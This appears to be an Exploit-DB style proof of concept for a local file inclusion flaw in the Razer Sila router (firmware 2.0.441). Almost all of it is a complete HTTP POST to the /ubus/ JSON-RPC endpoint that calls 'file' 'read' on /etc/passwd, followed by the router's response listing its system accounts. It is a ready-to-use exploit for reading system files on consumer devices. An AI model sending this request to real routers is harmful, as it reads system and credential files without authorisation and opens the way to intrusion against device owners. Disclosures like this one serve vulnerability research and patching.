[webapps] Razer Sila - Local File Inclusion (LFI)

# Exploit Title: Razer Sila - Local File Inclusion (LFI) # Google Dork: N/A # Date: 4/9/2022 # Exploit Author: Kevin Randall # Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila # Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila # Version: RazerSila-2.0.441_api-2.0.418 # Tested on: Razer Sila Router # CVE N/A # Proof of Concept # Request POST /ubus/ HTTP/1.1 Host: 192.168.8.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 123 Origin: https://192.168.8.1 Referer: https://192.168.8.1/ Te: trailers Connection: close {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]} # Reponse HTTP/1.1 200 OK Connection: close Content-Type: application/json Content-Length: 537 {"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}